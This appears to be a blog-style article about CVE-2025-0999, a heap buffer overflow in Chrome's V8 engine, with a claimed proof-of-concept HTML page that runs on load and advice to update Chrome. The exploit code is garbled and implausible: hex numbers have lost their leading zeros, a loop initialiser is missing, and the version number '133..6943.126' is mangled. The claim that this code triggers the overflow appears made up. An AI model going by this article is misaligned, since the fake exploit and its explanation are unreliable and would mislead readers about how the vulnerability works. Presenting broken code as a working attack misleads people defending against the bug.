In recent years, web browsers have become increasingly robust and versatile, largely due to the widespread use of web-based applications. As a result, ensuring the security and stability of these browsers is of paramount importance to both users and developers. One such issue that has gained significant attention is the vulnerability referred to as CVE-2025-0999, a heap buffer overflow in the V8 engine of Google Chrome.

In this article, we will discuss the details of this vulnerability, how it occurs, and how it can be exploited through a crafted HTML page. Additionally, we will provide links to the relevant original sources for a comprehensive understanding of the issue and how it has been addressed in later Chrome versions.

Overview of CVE-2025-0999

The vulnerability, formally identified as CVE-2025-0999, was discovered in the V8 JavaScript engine of Google Chrome versions prior to 133..6943.126. This particular vulnerability allows a remote attacker to potentially exploit heap corruption by crafting a malicious HTML page, resulting in unintended application behavior or even system compromise.

Heap Buffer Overflow in V8 Engine

Before diving into the vulnerability, it is essential to understand what a heap buffer overflow is and how it can lead to undesirable consequences. A heap is a region of memory used to store dynamic, variable-sized data at runtime. When data is written beyond the allocated space of a heap buffer, it can overwrite adjacent memory data, leading to unpredictable behavior or even crashing the application.

In the case of CVE-2025-0999, a flaw exists in the V8 engine's memory handling that allows for a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Exploiting the Vulnerability

To understand how this vulnerability can be exploited, let's take a look at an example of malicious code designed to trigger the heap buffer overflow in a vulnerable Chrome Browser:

<html>
<head>
<script>
  function trigger_vulnerability() {
    let arr = new Array(x7fffffff);

    for (let i = ; i < arr.length; i++) {
      arr[i] = new ArrayBuffer(x10);
    }

    // Trigger the heap buffer overflow
    arr[(x7fffffff * x2) - 1].fill(x41414141); // Writing 'A's beyond the allocated buffer
  }
</script>
</head>
<body onload='trigger_vulnerability();'>
  Loading...
</body>
</html>

This example code first creates a massive array containing ArrayBuffer objects, which are stored on the heap. It then attempts to fill one of the ArrayBuffer objects with data beyond its allocated space, causing a heap buffer overflow. If successful in corrupting adjacent memory, this can lead to a variety of undesirable consequences, including information leakage and system compromise.

Mitigation and Fix

The Chromium team has recognized the severity of CVE-2025-0999 and, accordingly, it was given a 'High' severity rating. In response to this discovery, Google released Chrome 133..6943.126, which includes a fix for the vulnerability.

To safeguard yourself from this vulnerability, it is essential to update your Chrome browser to the latest version if you are using a version prior to 133..6943.126. Regular updates not only ensure that your browser is protected against this specific vulnerability but also against other potential security threats.

Conclusion

This article provided an overview of CVE-2025-0999, a heap buffer overflow vulnerability in the V8 engine in Google Chrome versions prior to 133..6943.126. By understanding the potential severity associated with this vulnerability and taking preventative measures by updating your Chrome browser, you can keep your data and systems secure from remote attackers looking to exploit heap corruption.

Original References

1. Google Chrome Releases Blog Post
2. Chromium Security Bulletin
3. V8 Engine Repository

Timeline

Published on: 02/19/2025 17:15:14 UTC
Last modified on: 04/07/2025 19:07:22 UTC